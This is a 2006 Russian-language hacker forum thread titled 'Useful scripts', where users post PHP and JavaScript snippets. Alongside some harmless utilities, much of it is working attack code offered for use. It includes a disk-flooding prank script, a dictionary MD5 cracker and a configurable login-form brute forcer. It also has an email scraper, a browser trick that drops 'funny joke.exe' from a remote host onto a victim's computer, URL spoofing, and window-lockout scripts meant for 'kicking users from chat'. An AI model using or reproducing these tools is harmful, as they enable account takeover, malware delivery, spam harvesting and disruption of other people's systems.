Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

02.11.2006, 17:20
|
|
Участник форума
Регистрация: 25.07.2005
Сообщений: 246
Провел на форуме: 457850
Репутация:
174
|
|
Полезные скрипты
Постим здесь ваши и не только скрипты, которые могут пригодиться в повседневной так сказать жизни.
Надеюсь, не будет излишнего флейма.
PHP скрипты пишем в тэгах [рhp] !!
Начну сам: сегодня понадобилось массово сменить кодировку всех файлов из одной директории с utf8 на cp1251.
PHP код:
<?php
function doit($dir='.'){
$d=opendir($dir);
while($f=readdir($d)){
if($f!=='.' AND $f!=='..'){
echo $f;
if(is_file($dir.'/'.$f)){
echo ' Converting...';
$a=file_get_contents($dir.'/'.$f);
$a=iconv('UTF-8','WINDOWS-1251',$a);
$fp=fopen($dir.'/'.$f,'w');
fwrite($fp,$a);
fclose($fp);
echo ' - OK<br />';
}elseif(is_dir($dir.'/'.$f)){
echo ' changing dir<br />';
doit($dir.'/'.$f);
}else{
echo ' Skipping<br />';
}
}
}
}
doit('.');
?>
Последний раз редактировалось nc.STRIEM; 13.03.2007 в 04:09..
|
|
|

02.11.2006, 17:36
|
|
Познавший АНТИЧАТ
Регистрация: 09.06.2006
Сообщений: 1,359
Провел на форуме: 5301021
Репутация:
1879
|
|
Сегодня понадобилось засрать все папки файлами  (Скрипт создаёт бесконечное число файлов с разными именами и расширениями + раличной длинны)
PHP код:
<?php // Greetz всем заподлянщикам... //Аминь... //(C) Dr.Check //////////////////////////////////////////////////////////////// set_time_limit(0); ignore_user_abort(); echo("<center><b>ИБО НЕХУЙ!!!</b></center>"); ///////////////////////////////////////////////////////////////// $name = array('a','b','c','d','e','f','g','h','i','j','k', 'l','m','n','o','p','r','s', 't','u','v','x','y','z','A','B','C','D','E','F','G ','H','I','J','K','L', 'M','N','O','P','R','S','T','U','V','X','Y','Z','1 ','2','3','4','5','6', '7','8','9','0'); ////////////////////////////////////////////////////////////////// $rash= array('.txt','.dic','.doc','.xls','.exe','.ini', '.bat','.log','.dll','.hak','.wmf','.zip','.rar', '.tar','.gz','.jpg','.gif','.bmp'); ///////////////////////////////////////////////////////////////// while(true) { $perem = ""; $fuck=""; for($i = 0; $i < rand(20,1); $i++) // количество сиволов в имени файла. { $by = rand(0, count($name) - 1); $perem .= $name[$by]; } $ra= rand(0, count($rash)-1); $fuck .= $rash[$ra]; $fp=fopen($perem.$fuck,"w"); fwrite($fp,php_uname()); fclose($fp); } ?>
P.S (вот так вроде правильней(для твоего скрипта)
PHP код:
$dir=opendir("."); while (false !== ($file = readdir($dir))) { if(($file !=".") && ($file !="..")) {
Хотя одно и тоже... 
Хм, какой-то простенький md5 брут
PHP код:
<? function pass_dict ($hash) { //вычисляем начальное время, необходимое для расчета общего времени выполнения скрипта $start_time = microtime(); $start_array = explode(" ",$start_time); $start_time = $start_array[1] + $start_array[0];
//открываем файл словаря из стандартного дистрибутива линукса $f = fopen("linux.words","r") or die("ошибка"); while (!feof($f)) { $str = strtolower(fgets($f)); //удаляем лишние пробелы и символы конца строки $str = trim($str); $strmd5 = md5($str); if ($strmd5 == $hash) $pass = $str;
if (isset($pass)) { echo "password = ".$pass; $end_time = microtime(); $end_array = explode(" ",$end_time); $end_time = $end_array[1] + $end_array[0]; $time = $end_time - $start_time; echo "<br><center>Найдено за $time секунд!</center>"; fclose($f); return; } }
$end_time = microtime(); $end_array = explode(" ",$end_time); $end_time = $end_array[1] + $end_array[0]; $time = $end_time - $start_time; echo "<br><center>Не найдено за $time секунд!</center>"; fclose($f); return; } pass_dict("e206a54e97690cce50cc872dd70ee896"); ?>
Скрипт проверяет на наличий сервисов POP, FTP и т.д
PHP код:
<html> <head> <title>::CHECKER::</title> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <body bgcolor="#000000" text="#ffffff"> <hr width="30%"></hr><center><table border="1pt"><tr><td bgcolor="#90EE90"><center><font color="black"><b>| Введите имя сервера |</b></font></center></td></tr> <tr><td><form action="<? $PHP_SELF ?>" method="post"> <b>NAME:</b> <input type="text" name="domain"></td></tr><tr><td><input type="submit" value="Проверить"> <button onclick=location.reload(true)>Обновить</button></td></tr></table> <hr width="30%"></hr> <?php error_reporting(0); set_time_limit(0); $domain=$_POST['domain']; $ip=gethostbyname($domain); $httpport = "80"; $ftpport = "21"; $popport = "110"; $imapport = "143"; $smtpport = "25"; $sshport = "22"; echo "<b>"; echo("IP адрес хоста: "); echo "</b>"; echo "<font color=\"red\">"; echo($ip); echo "</font>" ?> <table border="1pt"><tr><td bgcolor="#90EE90"><center><font color="black"><b>| Результаты проверки |</b></font></center></td></tr> <tr><td><font color="#999999"><b>HTTP --> </b></font> <?php $http = fsockopen($domain, $httpport, $errno, $errstr, $timeout); if (!$http) { echo ("<font color=\"red\"><b>\"DEACTIVATED\"</b></font>"); }
else { echo ("<font color=\"green\"><b>\"ACTIVATED\"</b></font>"); } ?></td></tr> <tr><td><font color="#999999"><b>FTP --> </b></font> <?php $ftp = fsockopen($domain, $ftpport, $errno, $errstr, $timeout); if (!$ftp) { echo ("<font color=\"red\"><b>\"DEACTIVATED\"</b></font>"); }
else { echo ("<font color=\"green\"><b>\"ACTIVATED\"</b></font>"); } ?></td></tr> <tr><td><font color="#999999"><b>POP --> </b></font> <?php $pop = fsockopen($domain, $popport, $errno, $errstr, $timeout); if (!$pop) { echo ("<font color=\"red\"><b>\"DEACTIVATED\"</b></font>"); }
else { echo ("<font color=\"green\"><b>\"ACTIVATED\"</b></font>"); } ?> </td></tr> <tr><td><font color="#999999"><b>IMAP --> </b></font> <?php $imap = fsockopen($domain, $imapport, $errno, $errstr, $timeout); if (!$imap) { echo ("<font color=\"red\"><b>\"DEACTIVATED\"</b></font>"); }
else { echo ("<font color=\"green\"><b>\"ACTIVATED\"</b></font>"); } ?> </td></tr> <tr><td><font color="#999999"><b>SMTP --> </b></font> <?php $smtp = fsockopen($domain, $smtpport, $errno, $errstr, $timeout); if (!$smtp) { echo ("<font color=\"red\"><b>\"DEACTIVATED\"</b></font>"); }
else { echo ("<font color=\"green\"><b>\"ACTIVATED\"</b></font>"); } ?> </td></tr> <tr><td><b><font color="#999999">SSH --> </font></b> <?php $ssh = fsockopen($domain, $sshport, $errno, $errstr, $timeout); if (!$ssh) { echo ("<font color=\"red\"><b>\"DEACTIVATED\"</b></font>"); }
else { echo ("<font color=\"green\"><b>\"ACTIVATED\"</b></font>"); } ?> </td></tr></table><hr width="30%"></hr></center> </body> </head> </html>
Последний раз редактировалось Dr.Check; 07.11.2006 в 02:20..
|
|
|

02.11.2006, 18:16
|
|
Постоянный
Регистрация: 21.04.2006
Сообщений: 540
Провел на форуме: 1310036
Репутация:
726
|
|
Не дает закрвать окно.
(пример простой, часто используется на порносайтах)
Код:
<html>
<head>
<title>Press ALT+F4</title>
</head>
<body onunload="goodBye()">
<p align="center">
<b>Yuo can't close your browser window</b>
</p>
<script language="JavaScript">
<!--
function goodBye()
{window.open("Cantclose.htm");}
//-->
</script>
<p align="center">
<b>Try Alt+F4!</b>
</p>
</body>
</html>
Позволяет узнать выставленную кодировку.
Код:
<script>
var u=navigator.userAgent;
if (u.indexOf("Win") != -1) // Текст в 1251
document.writeln ("Windows 1251");
else if (u.indexOf("DOS") != -1 || u.indexOf("OS/2") != -1) // Текст в 866
document.writeln("MS-DOS CP866"); // Текст в K018
else document.writein ( "лПДЙТПЧЛБ KOI8-R");
</script>
Следущий скрипт показывает последнее обновление страницы:
Код:
<script language="JavaScript">
<!--
var dateMod = "";
dateMod = document.lastModified;
document.write("Last Update: ");
document.write(dateMod);
document.write();
// -->
</script>
При нажатии на кнопку, страница распечатывается:
Код:
<script Language="Javascript">
function printit(){
if (window.print) {
window.print();
} else {
var WebBrowser = '<OBJECT ID="WebBrowser1" WIDTH=0 HEIGHT=0 CLASSID="CLSID:8856F961-340A-11D0-A96B-00C04FD705A2"></OBJECT>';
document.body.insertAdjacentHTML('beforeEnd', WebBrowser);
WebBrowser1.ExecWB(6, 2);//Use a 1 vs. a 2 for a prompting dialog box WebBrowser1.outerHTML = "";
}
}
</script>
<script Language="Javascript">
var NS = (navigator.appName == "Netscape");
var VERSION = parseInt(navigator.appVersion);
if (VERSION > 3) {
document.write('<form><input type=button value="Print this Page" name="Print" onClick="printit()"></form>');
}
</script>
|
|
|

03.11.2006, 03:43
|
|
Познавший АНТИЧАТ
Регистрация: 09.06.2006
Сообщений: 1,359
Провел на форуме: 5301021
Репутация:
1879
|
|
Только, что написал. Может кому и понадобиться:
Скрипт смотрит все файлы в данном каталоге, и изменяет расширения этих фалов на заданные Вами:
PHP код:
<?php $star= 'txt'; // Расширение ДО $nov = 'php';//Расширение ПОСЛЕ function listDir ($url) { $i = 0; $dir = opendir("."); while (false !== ($file = readdir($dir))) { if(($file !=".") && ($file !="..")) { $outp[$i] = $file; ++$i; } } closedir($dir); return $outp; }
function fil_list($path) { global $star, $nov; $path_array = listDir($path); for($i=0; $i < count($path_array); $i++) { if ($path > '') $p = '/'; else $p = ''; $ls = $path.$p.$path_array[$i]; if (@is_dir($ls)) fil_list($ls); else if (preg_match('/\.'.$star.'$/i', $ls)) { $fd_new = substr($ls, 0, strlen($ls)-strlen($star)).$nov; rename ($ls, $fd_new); echo $ls.' >>> '.$fd_new.'<br>'; } } }
fil_list($start_dir); ?>
Последний раз редактировалось Dr.Check; 03.11.2006 в 03:54..
|
|
|

04.11.2006, 08:29
|
|
Новичок
Регистрация: 21.09.2005
Сообщений: 10
Провел на форуме: 22521
Репутация:
3
|
|
С помощью этого скриптика можно обойти ограничения безопасности для 'File Download' и 'File Open' и загрузить произвольный файл на копутер *друга*:
<html>
<body>
<iframe src='http://your.domain.com/v.exe?.htm' name=
"NotFound" width="0" height="0"></iframe>
Click <a href=# onclick="javascript:document.frames.NotFound.
document.execCommand('SaveAs',1,'funny joke.exe');">here</a>.
</body>
</html>
|
|
|

04.11.2006, 08:41
|
|
Новичок
Регистрация: 21.09.2005
Сообщений: 10
Провел на форуме: 22521
Репутация:
3
|
|
Таким способом можно подделать URL, которого не будет отображен в браузере:
javascript:document.write("<iframe src='http://www.google.com' width='100%' height='100%'></iframe>");
|
|
|

04.11.2006, 08:45
|
|
Новичок
Регистрация: 21.09.2005
Сообщений: 10
Провел на форуме: 22521
Репутация:
3
|
|
Этот скриптик будет отображать в строке состояния произвольный адрес URL при наведении на ссылку:
<a href="http://www.microsoft.com/"><table><tr><td>
<a href="http://www.google.com/">Click here</td></tr></table></a>
|
|
|

04.11.2006, 12:13
|
|
Крёстный отец :)
Регистрация: 22.06.2005
Сообщений: 1,330
Провел на форуме: 5302668
Репутация:
2054
|
|
Прикольный скрипт, пригодится для выкидывания юзеров из чата и других пакостей
PHP код:
<body scroll=no bgcolor=black><script>setInterval ("focus ()", 10); w = open ('','','fullscreen=1'); w.document.write ('<body scroll=no bgcolor=black>' + document.body.innerHTML + '</body>')</script></body>
__________________
Лучший способ защиты - это нападение!!!
|
|
|

13.11.2006, 19:00
|
|
Познавший АНТИЧАТ
Регистрация: 09.06.2006
Сообщений: 1,359
Провел на форуме: 5301021
Репутация:
1879
|
|
Парсер(e-mail).
Писал когда-то...Может кому и пригодиться.
PHP код:
<?
$handler=fopen('emails.txt','a+');
for($i=1;$i<3000;$i++){
$filename = 'http://www.***.ru/center.php?chp=showorg&num='.$i;
echo $i.". ";
$str = file_get_contents($filename);
preg_match_all('|href="mailto:([^"]*)"|is',$str,$out);
if(empty($out[1][0])) echo " no mail";
else{
echo " get ".$out[1][0];
fwrite($handler,$out[1][0]."\n");
}
echo "\n";
}
fclose($handler);
?>
//by SMiX: забыл хэндлер открыть =)
Последний раз редактировалось SMiX; 13.11.2006 в 19:24..
|
|
|

13.11.2006, 20:56
|
|
Members of Antichat - Level 5
Регистрация: 05.04.2006
Сообщений: 1,066
Провел на форуме: 3493315
Репутация:
1228
|
|
БРУТФОРС ФОРМ! настраиваеться практически под любую..
PHP код:
<?################Брутфорс Форм##################
///////////////////////----(c) nc.STRIEM----//////////////////////////
$filepas="file.txt" ; ///файл с данными для брута
$filegood="good.txt"; ///файл с подходящими паролями
$endifg=1; ///закончить при первом же найденом 1-да 0-нет
$iskl=array();
//////строки которых не должно быть в правельных страницах/////////
$iskl[0]="Неверный пароль";
//$iskl[1]="Неверная длина пароля!";
//$iskl[2]="ERROR";
//$iskl[3]="Ошибка";
//////////////////////////////////////////////////////////////////
$host="localhost"; ///хост
$script="/form.php"; ///скрипт
///////////////////////////////////////////////Передоваемый Header ///////////////////////////////////////////////////////
$header="POST http://$host$script HTTP/1.0\r\n";
$header.= "Host: $host\r\n";
$header.= "Content-Type: application/x-www-form-urlencoded\r\n";
//////Не обязательные параметры! но не всегда///
//$header.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*\r\n";
//$header.="Accept-Language: ru\r\n";
//$header.= "Proxy-Connection: Keep-Alive\r\n";
//$header.= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 4.6 (build 01425))\r\n";
//$header.="Referer: http://microsoft.com\r\n";
//$header.="Cookie: CREATED=nc.STRIEM\r\n";
####################################Сам брут#####################################
set_time_limit(0);
$fo=fopen($filepas,"r");
$kolvoporolei=0;
$timestart=time('U');
$fgo=fopen($filegood,"a");
echo "<h3><center>Мы брутили http://$host$script</center></h3>";
while(!feof($fo))
{/////////////////////////////////////////////
$fp = fsockopen("www.".$host, 80, $errno, $errstr, 30);
if (!$fp)
echo "$errstr ($errno)<br />\n";
else
{
$kolvoporolei++;
$dan=rtrim(fgets($fo)); /////берем данные из файла
$dannii=split(';',$dan);
$out=$header;
$zapr="login=$dannii[0]&password=$dannii[1]"; ////имена переменных и их значения сюда
$contleng=strlen($zapr);
$out.= "Content-Length: $contleng\r\n";
$out.= "Pragma: no-cache\r\n\r\n";
$out.= "$zapr\r\n\r\n";
fwrite($fp, $out);
$conte="";
while (!feof($fp))
$conte.=fgets($fp);
$est=1;
for($i=0;$i<sizeof($iskl);$i++)
if(strstr($conte, $iskl[$i]))
{
$est=0;
break;
}
/////может понадобиться при настройки///
//echo htmlspecialchars($conte); break;
/////////////////////////////////
if($est)
{
fwrite($fgo,$dannii[0].";".$dannii[1]."\n");
echo "<h3><tt>Найдено:".$dannii[0].";".$dannii[1]."</tt></h3>";
if($endifg)
break;
}
fclose($fp);
}
}//////////////////////////////////////////////////////////////////////////////////////////
fclose($fgo);
$time=time('U')-$timestart;
echo "<h1><center>Закончено</center></h1><br><h3><tt>Проверенно $kolvoporolei вариантов, за $time секунд!</tt></h3><br><h4 align=center><center><tt>©*nc.STRIEM<br>nc.striem@mail.ru</tt></center></h4>";
?>
Последний раз редактировалось nc.STRIEM; 21.11.2006 в 23:24..
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|